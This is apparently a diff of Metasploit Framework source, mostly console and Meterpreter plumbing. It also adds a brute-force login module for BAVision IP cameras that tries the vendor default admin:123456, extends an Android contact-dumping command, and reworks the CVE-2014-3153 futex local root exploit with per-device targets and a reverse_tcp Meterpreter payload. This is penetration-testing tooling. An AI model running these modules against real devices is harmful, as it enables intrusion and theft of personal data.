||||
|
||||
|
||||
|
@ -78,7 +79,7 @@ class RPC_Plugin < RPC_Base
|
|||
def rpc_loaded
|
||||
ret = {}
|
||||
ret[:plugins] = []
|
||||
self.framework.plugins.each do |plugin|
|
||||
self.framework.plugins.each do |plugin|
|
||||
ret[:plugins] << plugin.name
|
||||
end
|
||||
ret
|
||||
|
|
|
@ -43,6 +43,8 @@ module SingleCommandShell
|
|||
# Read data until we find the token
|
||||
#
|
||||
def shell_read_until_token(token, wanted_idx=0, timeout=10)
|
||||
return if timeout.to_i == 0
|
||||
|
||||
if (wanted_idx == 0)
|
||||
parts_needed = 2
|
||||
else
|
||||
|
|
|
@ -88,7 +88,8 @@ class Core
|
|||
@@history_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-a" => [ false, "Show all commands in history." ],
|
||||
"-n" => [ true, "Show the last n commands." ])
|
||||
"-n" => [ true, "Show the last n commands." ],
|
||||
"-u" => [ false, "Show only unique commands." ])
|
||||
|
||||
@@irb_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
|
@ -480,6 +481,7 @@ class Core
|
|||
|
||||
def cmd_history(*args)
|
||||
length = Readline::HISTORY.length
|
||||
uniq = false
|
||||
|
||||
if length < @history_limit
|
||||
limit = length
|
||||
|
@ -498,6 +500,8 @@ class Core
|
|||
else
|
||||
limit = val.to_i
|
||||
end
|
||||
when "-u"
|
||||
uniq = true
|
||||
when "-h"
|
||||
cmd_history_help
|
||||
return false
|
||||
|
@ -508,6 +512,9 @@ class Core
|
|||
pad_len = length.to_s.length
|
||||
|
||||
(start..length-1).each do |pos|
|
||||
if uniq && Readline::HISTORY[pos] == Readline::HISTORY[pos-1]
|
||||
next unless pos == 0
|
||||
end
|
||||
cmd_num = (pos + 1).to_s
|
||||
print_line "#{cmd_num.ljust(pad_len)} #{Readline::HISTORY[pos]}"
|
||||
end
|
||||
|
@ -518,7 +525,6 @@ class Core
|
|||
print_line
|
||||
print_line "Shows the command history."
|
||||
print_line "If -n is not set, only the last #{@history_limit} commands will be shown."
|
||||
print_line
|
||||
print @@history_opts.usage
|
||||
end
|
||||
|
||||
|
@ -1236,7 +1242,7 @@ class Core
|
|||
session.response_timeout = response_timeout
|
||||
end
|
||||
|
||||
output = session.run_cmd cmd
|
||||
output = session.run_cmd(cmd, driver.output)
|
||||
end
|
||||
end
|
||||
when 'kill'
|
||||
|
@ -1653,16 +1659,15 @@ class Core
|
|||
return false
|
||||
end
|
||||
|
||||
# Walk the plugins array
|
||||
framework.plugins.each { |plugin|
|
||||
# Unload the plugin if it matches the name we're searching for
|
||||
if (plugin.name.downcase == args[0].downcase)
|
||||
print("Unloading plugin #{args[0]}...")
|
||||
framework.plugins.unload(plugin)
|
||||
print_line("unloaded.")
|
||||
break
|
||||
end
|
||||
}
|
||||
# Find a plugin within the plugins array
|
||||
plugin = framework.plugins.find { |p| p.name.downcase == args[0].downcase }
|
||||
|
||||
# Unload the plugin if it matches the name we're searching for
|
||||
if plugin
|
||||
print("Unloading plugin #{args[0]}...")
|
||||
framework.plugins.unload(plugin)
|
||||
print_line("unloaded.")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -86,6 +86,7 @@ class Db
|
|||
def cmd_workspace_help
|
||||
print_line "Usage:"
|
||||
print_line " workspace List workspaces"
|
||||
print_line " workspace -v List workspaces verbosely"
|
||||
print_line " workspace [name] Switch workspace"
|
||||
print_line " workspace -a [name] ... Add workspace(s)"
|
||||
print_line " workspace -d [name] ... Delete workspace(s)"
|
||||
|
@ -111,6 +112,8 @@ class Db
|
|||
delete_all = true
|
||||
when '-r','--rename'
|
||||
renaming = true
|
||||
when '-v'
|
||||
verbose = true
|
||||
else
|
||||
names ||= []
|
||||
names << arg
|
||||
|
@ -177,11 +180,40 @@ class Db
|
|||
return
|
||||
end
|
||||
else
|
||||
# List workspaces
|
||||
framework.db.workspaces.each do |s|
|
||||
pad = (s.name == framework.db.workspace.name) ? "* " : " "
|
||||
print_line("#{pad}#{s.name}")
|
||||
workspace = framework.db.workspace
|
||||
|
||||
unless verbose
|
||||
framework.db.workspaces.each do |ws|
|
||||
pad = (ws == workspace) ? '* ' : ' '
|
||||
print_line("#{pad}#{ws.name}")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
col_names = %w{current name hosts services vulns creds loots notes}
|
||||
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => 'Workspaces',
|
||||
'Columns' => col_names,
|
||||
'SortIndex' => -1
|
||||
)
|
||||
|
||||
# List workspaces
|
||||
framework.db.workspaces.each do |ws|
|
||||
tbl << [
|
||||
ws == workspace ? '*' : '',
|
||||
ws.name,
|
||||
ws.hosts.count,
|
||||
ws.services.count,
|
||||
ws.vulns.count,
|
||||
ws.core_credentials.count,
|
||||
ws.loots.count,
|
||||
ws.notes.count
|
||||
]
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line(tbl.to_s)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
|
|
@ -27,7 +27,7 @@ module Msf
|
|||
def commands
|
||||
{
|
||||
"back" => "Move back from the current context",
|
||||
"edit" => "Edit the current module with $VISUAL or $EDITOR",
|
||||
"edit" => "Edit the current module with the preferred editor",
|
||||
"advanced" => "Displays advanced options for one or more modules",
|
||||
"info" => "Displays information about one or more modules",
|
||||
"options" => "Displays global options or for one or more modules",
|
||||
|
@ -61,18 +61,17 @@ module Msf
|
|||
"Module"
|
||||
end
|
||||
|
||||
|
||||
def local_editor
|
||||
Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') || '/usr/bin/vim'
|
||||
framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR')
|
||||
end
|
||||
|
||||
def cmd_edit_help
|
||||
msg = "Edit the currently active module"
|
||||
msg = "#{msg} #{local_editor ? "with #{local_editor}" : "($VISUAL or $EDITOR must be set first)"}."
|
||||
msg = "#{msg} #{local_editor ? "with #{local_editor}" : "(LocalEditor or $VISUAL/$EDITOR should be set first)"}."
|
||||
print_line "Usage: edit"
|
||||
print_line
|
||||
print_line msg
|
||||
print_line "When done editing, you must reload the module with 'reload' or 'rexploit'."
|
||||
print_line "When done editing, you must reload the module with 'reload' or 'rerun'."
|
||||
print_line
|
||||
end
|
||||
|
||||
|
@ -80,20 +79,22 @@ module Msf
|
|||
# Edit the currently active module
|
||||
#
|
||||
def cmd_edit
|
||||
unless local_editor
|
||||
print_error "$VISUAL or $EDITOR must be set first. Try 'export EDITOR=/usr/bin/vim'"
|
||||
return
|
||||
end
|
||||
if active_module
|
||||
path = active_module.file_path
|
||||
print_status "Launching #{local_editor} #{path}"
|
||||
system(local_editor,path)
|
||||
editor = local_editor
|
||||
path = active_module.file_path
|
||||
|
||||
if editor.nil?
|
||||
editor = 'vim'
|
||||
print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.")
|
||||
end
|
||||
|
||||
print_status("Launching #{editor} #{path}")
|
||||
system(editor, path)
|
||||
else
|
||||
print_error "Nothing to edit -- try using a module first."
|
||||
print_error('Nothing to edit -- try using a module first.')
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def cmd_advanced_help
|
||||
print_line 'Usage: advanced [mod1 mod2 ...]'
|
||||
print_line
|
||||
|
|
|
@ -33,12 +33,21 @@ class Datagram < Rex::Post::Meterpreter::Channel
|
|||
'udp'
|
||||
end
|
||||
|
||||
def recvfrom_nonblock(length,flags = nil)
|
||||
return [super(length, flags)[0], super(length, flags)[0]]
|
||||
def recvfrom_nonblock(length, flags = 0)
|
||||
data = super(length, flags)[0]
|
||||
sockaddr = super(length, flags)[0]
|
||||
[data, sockaddr]
|
||||
end
|
||||
|
||||
def send(buf, flags, saddr)
|
||||
channel.send(buf, flags, saddr)
|
||||
#
|
||||
# This should work just like a UDPSocket.send method
|
||||
#
|
||||
# send(mesg, flags, host, port) => numbytes_sent click to toggle source
|
||||
# send(mesg, flags, sockaddr_to) => numbytes_sent
|
||||
# send(mesg, flags) => numbytes_sent
|
||||
#
|
||||
def send(buf, flags, a = nil, b = nil)
|
||||
channel.send(buf, flags, a, b)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -53,17 +62,12 @@ class Datagram < Rex::Post::Meterpreter::Channel
|
|||
)
|
||||
|
||||
if peerhost && peerport
|
||||
# Maxlen here is 65507, to ensure we dont overflow, we need to write twice
|
||||
# If the other side has a full 64k, handle by splitting up the datagram and
|
||||
# writing multiple times along with the sockaddr. Consumers calling recvfrom
|
||||
# repeatedly will buffer up all the pieces.
|
||||
while data.length > 65507
|
||||
rsock.syswrite(data[0..65506])
|
||||
rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport))
|
||||
data = data - data[0..65506]
|
||||
end
|
||||
rsock.syswrite(data)
|
||||
rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport))
|
||||
# A datagram can be maximum 65507 bytes, truncate longer messages
|
||||
rsock.syswrite(data[0..65506])
|
||||
|
||||
# We write the data and sockaddr data to the local socket, the pop it
|
||||
# back in recvfrom_nonblock.
|
||||
rsock.syswrite(Rex::Socket.to_sockaddr(peerhost, peerport))
|
||||
return true
|
||||
else
|
||||
return false
|
||||
|
|
|
@ -272,7 +272,7 @@ class Android < Extension
|
|||
end
|
||||
|
||||
def send_sms(dest, body, dr)
|
||||
request = Packet.create_request('android_android_send_sms')
|
||||
request = Packet.create_request('android_send_sms')
|
||||
request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)
|
||||
request.add_tlv(TLV_TYPE_SMS_BODY, body)
|
||||
request.add_tlv(TLV_TYPE_SMS_DR, dr)
|
||||
|
|
|
@ -77,24 +77,41 @@ class UdpChannel < Rex::Post::Meterpreter::Datagram
|
|||
end
|
||||
|
||||
#
|
||||
# This function is called by Rex::Socket::Udp.sendto and writes data to a specified
|
||||
# remote peer host/port via the remote end of the channel.
|
||||
# This function is called by Rex::Socket::Udp.sendto and writes data to a
|
||||
# specified remote peer host/port via the remote end of the channel.
|
||||
#
|
||||
def send(buf, flags, saddr)
|
||||
_af, peerhost, peerport = Rex::Socket.from_sockaddr(saddr)
|
||||
# This should work just like a UDPSocket.send method
|
||||
#
|
||||
# send(mesg, flags, host, port) => numbytes_sent click to toggle source
|
||||
# send(mesg, flags, sockaddr_to) => numbytes_sent
|
||||
# send(mesg, flags) => numbytes_sent
|
||||
#
|
||||
def send(buf, flags, a = nil, b = nil)
|
||||
host = nil
|
||||
port = nil
|
||||
|
||||
addends = [
|
||||
{
|
||||
'type' => TLV_TYPE_PEER_HOST,
|
||||
'value' => peerhost
|
||||
},
|
||||
{
|
||||
'type' => TLV_TYPE_PEER_PORT,
|
||||
'value' => peerport
|
||||
}
|
||||
]
|
||||
if a && b.nil?
|
||||
_, host, port = Rex::Socket.from_sockaddr(a)
|
||||
elsif a && b
|
||||
host = a
|
||||
port = b
|
||||
end
|
||||
|
||||
return _write(buf, buf.length, addends)
|
||||
addends = nil
|
||||
if host && port
|
||||
addends = [
|
||||
{
|
||||
'type' => TLV_TYPE_PEER_HOST,
|
||||
'value' => host
|
||||
},
|
||||
{
|
||||
'type' => TLV_TYPE_PEER_PORT,
|
||||
'value' => port
|
||||
}
|
||||
]
|
||||
end
|
||||
|
||||
_write(buf, buf.length, addends)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -279,11 +279,13 @@ class Console::CommandDispatcher::Android
|
|||
end
|
||||
|
||||
def cmd_dump_contacts(*args)
|
||||
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
||||
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}"
|
||||
format = :text
|
||||
|
||||
dump_contacts_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-o' => [ true, 'Output path for contacts list']
|
||||
'-o' => [ true, 'Output path for contacts list' ],
|
||||
'-f' => [ true, 'Output format for contacts list (text, csv, vcard)' ]
|
||||
)
|
||||
|
||||
dump_contacts_opts.parse(args) do |opt, _idx, val|
|
||||
|
@ -295,6 +297,18 @@ class Console::CommandDispatcher::Android
|
|||
return
|
||||
when '-o'
|
||||
path = val
|
||||
when '-f'
|
||||
case val
|
||||
when 'text'
|
||||
format = :text
|
||||
when 'csv'
|
||||
format = :csv
|
||||
when 'vcard'
|
||||
format = :vcard
|
||||
else
|
||||
print_error('Invalid output format specified')
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -303,33 +317,62 @@ class Console::CommandDispatcher::Android
|
|||
if contact_list.count > 0
|
||||
print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list")
|
||||
begin
|
||||
info = client.sys.config.sysinfo
|
||||
data = ''
|
||||
|
||||
data = ""
|
||||
data << "\n======================\n"
|
||||
data << "[+] Contacts list dump\n"
|
||||
data << "======================\n\n"
|
||||
case format
|
||||
when :text
|
||||
info = client.sys.config.sysinfo
|
||||
path << '.txt' unless path.end_with?('.txt')
|
||||
|
||||
time = Time.new
|
||||
data << "Date: #{time.inspect}\n"
|
||||
data << "OS: #{info['OS']}\n"
|
||||
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||
data << "\n======================\n"
|
||||
data << "[+] Contacts list dump\n"
|
||||
data << "======================\n\n"
|
||||
|
||||
contact_list.each_with_index do |c, index|
|
||||
time = Time.new
|
||||
data << "Date: #{time.inspect}\n"
|
||||
data << "OS: #{info['OS']}\n"
|
||||
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||
|
||||
data << "##{index.to_i + 1}\n"
|
||||
data << "Name\t: #{c['name']}\n"
|
||||
contact_list.each_with_index do |c, index|
|
||||
|
||||
c['number'].each do |n|
|
||||
data << "Number\t: #{n}\n"
|
||||
data << "##{index.to_i + 1}\n"
|
||||
data << "Name\t: #{c['name']}\n"
|
||||
|
||||
c['number'].each do |n|
|
||||
data << "Number\t: #{n}\n"
|
||||
end
|
||||
|
||||
c['email'].each do |n|
|
||||
data << "Email\t: #{n}\n"
|
||||
end
|
||||
|
||||
data << "\n"
|
||||
end
|
||||
when :csv
|
||||
path << '.csv' unless path.end_with?('.csv')
|
||||
|
||||
c['email'].each do |n|
|
||||
data << "Email\t: #{n}\n"
|
||||
contact_list.each do |contact|
|
||||
data << contact.values.to_csv
|
||||
end
|
||||
when :vcard
|
||||
path << '.vcf' unless path.end_with?('.vcf')
|
||||
|
||||
data << "\n"
|
||||
contact_list.each do |contact|
|
||||
data << "BEGIN:VCARD\n"
|
||||
data << "VERSION:3.0\n"
|
||||
data << "FN:#{contact['name']}\n"
|
||||
|
||||
contact['number'].each do |number|
|
||||
data << "TEL:#{number}\n"
|
||||
end
|
||||
|
||||
contact['email'].each do |email|
|
||||
data << "EMAIL:#{email}\n"
|
||||
end
|
||||
|
||||
data << "END:VCARD\n"
|
||||
end
|
||||
end
|
||||
|
||||
::File.write(path, data)
|
||||
|
|
|
@ -310,12 +310,18 @@ class Client
|
|||
auth_str = "Basic " + Rex::Text.encode_base64(auth_str)
|
||||
end
|
||||
|
||||
|
||||
def make_cnonce
|
||||
Digest::MD5.hexdigest "%x" % (Time.now.to_i + rand(65535))
|
||||
end
|
||||
|
||||
# Send a series of requests to complete Digest Authentication
|
||||
#
|
||||
# @param opts [Hash] the options used to build an HTTP request
|
||||
# @return [Response] the last valid HTTP response we received
|
||||
def digest_auth(opts={})
|
||||
@nonce_count = 0
|
||||
cnonce = make_cnonce
|
||||
nonce_count = 0
|
||||
|
||||
to = opts['timeout'] || 20
|
||||
|
||||
|
@ -330,7 +336,7 @@ class Client
|
|||
end
|
||||
|
||||
begin
|
||||
@nonce_count += 1
|
||||
nonce_count += 1
|
||||
|
||||
resp = opts['response']
|
||||
|
||||
|
@ -387,7 +393,7 @@ class Client
|
|||
[
|
||||
algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"),
|
||||
parameters['nonce'],
|
||||
@cnonce
|
||||
cnonce
|
||||
].join ':'
|
||||
else
|
||||
"#{digest_user}:#{parameters['realm']}:#{digest_password}"
|
||||
|
@ -397,7 +403,7 @@ class Client
|
|||
ha2 = algorithm.hexdigest("#{method}:#{path}")
|
||||
|
||||
request_digest = [ha1, parameters['nonce']]
|
||||
request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop
|
||||
request_digest.push(('%08x' % nonce_count), cnonce, qop) if qop
|
||||
request_digest << ha2
|
||||
request_digest = request_digest.join ':'
|
||||
|
||||
|
@ -407,8 +413,8 @@ class Client
|
|||
"realm=\"#{parameters['realm']}\"",
|
||||
"nonce=\"#{parameters['nonce']}\"",
|
||||
"uri=\"#{path}\"",
|
||||
"cnonce=\"#{@cnonce}\"",
|
||||
"nc=#{'%08x' % @nonce_count}",
|
||||
"cnonce=\"#{cnonce}\"",
|
||||
"nc=#{'%08x' % nonce_count}",
|
||||
"algorithm=#{algstr}",
|
||||
"response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"",
|
||||
# The spec says the qop value shouldn't be enclosed in quotes, but
|
||||
|
|
|
@ -67,7 +67,7 @@ Gem::Specification.new do |spec|
|
|||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.6'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.4'
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.6'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
|
|
|
@ -14,7 +14,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def initialize
|
||||
super(
|
||||
'Name' => 'Tomcat Administration Tool Default Access',
|
||||
'Description' => 'Detect the Tomcat administration interface.',
|
||||
'Description' => 'Detect the Tomcat administration interface. The administration interface is included in versions 5.5 and lower.
|
||||
Port 8180 is the default for FreeBSD, 8080 for all others.',
|
||||
# version of admin interface source: O'Reilly Tomcat The Definitive Guide, page 82
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://tomcat.apache.org/'],
|
||||
|
@ -25,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8180),
|
||||
Opt::RPORT(8180), # 8180 is default for FreeBSD. All other OSes it's 8080
|
||||
OptString.new('TOMCAT_USER', [ false, 'The username to authenticate as', '']),
|
||||
OptString.new('TOMCAT_PASS', [ false, 'The password for the specified username', '']),
|
||||
], self.class)
|
||||
|
|
|
@ -14,7 +14,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Advantech WebAccess SQL Injection',
|
||||
'Name' => 'Advantech WebAccess DBVisitor.dll ChartThemeConfig SQL Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a SQL injection vulnerability found in Advantech WebAccess 7.1. The
|
||||
vulnerability exists in the DBVisitor.dll component, and can be abused through malicious
|
||||
|
|
|
@ -0,0 +1,137 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/login_scanner/bavision_cameras'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'BAVision IP Camera Web Server Login',
|
||||
'Description' => %q{
|
||||
This module will attempt to authenticate to an IP camera created by BAVision via the
|
||||
web service. By default, the vendor ships a default credential admin:123456 to its
|
||||
cameras, and the web server does not enforce lockouts in case of a bruteforce attack.
|
||||
},
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:123456', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def scanner(ip)
|
||||
@scanner ||= lambda {
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
|
||||
if datastore['TRYDEFAULT']
|
||||
# Add the default username and password
|
||||
print_status("Default credential admin:123456 added to the credential queue for testing.")
|
||||
cred_collection.add_public('admin')
|
||||
cred_collection.add_private('123456')
|
||||
end
|
||||
|
||||
return Metasploit::Framework::LoginScanner::BavisionCameras.new(
|
||||
configure_http_login_scanner(
|
||||
host: ip,
|
||||
port: datastore['RPORT'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5,
|
||||
http_username: datastore['HttpUsername'],
|
||||
http_password: datastore['HttpPassword']
|
||||
))
|
||||
}.call
|
||||
end
|
||||
|
||||
|
||||
def report_good_cred(ip, port, result)
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: port,
|
||||
service_name: 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: result.credential.private,
|
||||
private_type: :password,
|
||||
username: result.credential.public,
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
last_attempted_at: DateTime.now,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
|
||||
def report_bad_cred(ip, rport, result)
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
)
|
||||
end
|
||||
|
||||
def bruteforce(ip)
|
||||
scanner(ip).scan! do |result|
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
|
||||
report_good_cred(ip, rport, result)
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
|
||||
report_bad_cred(ip, rport, result)
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
|
||||
report_bad_cred(ip, rport, result)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless scanner(ip).check_setup
|
||||
print_brute(:level => :error, :ip => ip, :msg => 'Target is not BAVision IP camera web server.')
|
||||
return
|
||||
end
|
||||
|
||||
bruteforce(ip)
|
||||
end
|
||||
|
||||
end
|
|
@ -64,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
print_brute :level => :verror, :ip => ip, :msg => result.proof
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
:abort
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core'
|
|||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
|
@ -42,8 +42,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
password = nil
|
||||
|
||||
begin
|
||||
# Create an unbound UDP socket if no CHOST is specified, otherwise
|
||||
# create a UDP socket bound to CHOST (in order to avail of pivoting)
|
||||
udp_sock = Rex::Socket::Udp.create( {
|
||||
'LocalHost' => datastore['CHOST'] || nil,
|
||||
'PeerHost' => ip,
|
||||
|
|
|
@ -32,52 +32,142 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
[ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ],
|
||||
[ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ],
|
||||
],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Platform' => 'android',
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'Arch' => ARCH_DALVIK,
|
||||
'DisclosureDate' => "May 03 2014",
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Platform' => [ "android", "linux" ],
|
||||
'Payload' => { 'Space' => 2048, },
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'android/meterpreter/reverse_tcp',
|
||||
},
|
||||
{
|
||||
'WfsDelay' => 300,
|
||||
'PAYLOAD' => 'linux/armle/mettle/reverse_tcp',
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => "May 03 2014"
|
||||
'Targets' => [
|
||||
# Automatic targetting via getprop ro.build.model
|
||||
['Automatic Targeting', { 'auto' => true }],
|
||||
|
||||
# This is the default setting, Nexus 4, 5, 7, etc
|
||||
['Default',
|
||||
{
|
||||
'new_samsung' => false,
|
||||
'iovstack' => 2,
|
||||
'offset' => 0,
|
||||
'force_remove' => false,
|
||||
}
|
||||
],
|
||||
|
||||
# Samsung devices, S4, S5, etc
|
||||
['New Samsung',
|
||||
{
|
||||
'new_samsung' => true,
|
||||
'iovstack' => 2,
|
||||
'offset' => 7380,
|
||||
'force_remove' => true,
|
||||
}
|
||||
],
|
||||
|
||||
# Older Samsung devices, e.g the Note 2
|
||||
['Old Samsung',
|
||||
{
|
||||
'new_samsung' => false,
|
||||
'iovstack' => 1,
|
||||
'offset' => 0,
|
||||
'force_remove' => true,
|
||||
}
|
||||
],
|
||||
|
||||
# Samsung Galaxy Grand, etc
|
||||
['Samsung Grand',
|
||||
{
|
||||
'new_samsung' => false,
|
||||
'iovstack' => 5,
|
||||
'offset' => 0,
|
||||
'force_remove' => true,
|
||||
}
|
||||
],
|
||||
]
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new("WritableDir", [ true, "Temporary directory to write files", "/data/local/tmp/" ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def put_local_file(remotefile)
|
||||
localfile = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.elf" )
|
||||
data = File.read(localfile, {:mode => 'rb'})
|
||||
write_file(remotefile, data)
|
||||
end
|
||||
|
||||
def exploit
|
||||
if target['auto']
|
||||
product = cmd_exec("getprop ro.build.product")
|
||||
fingerprint = cmd_exec("getprop ro.build.fingerprint")
|
||||
print_status("Found device: #{product}")
|
||||
print_status("Fingerprint: #{fingerprint}")
|
||||
|
||||
if [
|
||||
"mako",
|
||||
"m7",
|
||||
"hammerhead",
|
||||
"grouper",
|
||||
"Y530-U00",
|
||||
"G6-U10",
|
||||
"g2",
|
||||
"w7n",
|
||||
"D2303",
|
||||
"cancro",
|
||||
].include? product
|
||||
my_target = targets[1] # Default
|
||||
elsif [
|
||||
"klte",
|
||||
"jflte",
|
||||
].include? product
|
||||
my_target = targets[2] # New Samsung
|
||||
elsif [
|
||||
"t03g",
|
||||
"m0",
|
||||
].include? product
|
||||
my_target = targets[3] # Old Samsung
|
||||
elsif [
|
||||
"baffinlite",
|
||||
"Vodafone_785",
|
||||
].include? product
|
||||
my_target = targets[4] # Samsung Grand
|
||||
else
|
||||
print_status("Could not automatically target #{product}")
|
||||
my_target = targets[1] # Default
|
||||
end
|
||||
else
|
||||
my_target = target
|
||||
end
|
||||
|
||||
print_status("Using target: #{my_target.name}")
|
||||
|
||||
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.so" )
|
||||
exploit_data = File.read(local_file, {:mode => 'rb'})
|
||||
|
||||
# Substitute the exploit shellcode with our own
|
||||
space = payload_space
|
||||
payload_encoded = payload.encoded
|
||||
exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))
|
||||
|
||||
# Apply the target config
|
||||
offsets = my_target.opts
|
||||
config_buf = [
|
||||
offsets['new_samsung'] ? -1 : 0,
|
||||
offsets['iovstack'].to_i,
|
||||
offsets['offset'].to_i,
|
||||
offsets['force_remove'] ? -1 : 0,
|
||||
].pack('I4')
|
||||
exploit_data.gsub!("c0nfig" + "\x00" * 10, config_buf)
|
||||
|
||||
workingdir = session.fs.dir.getwd
|
||||
exploitfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
payloadfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
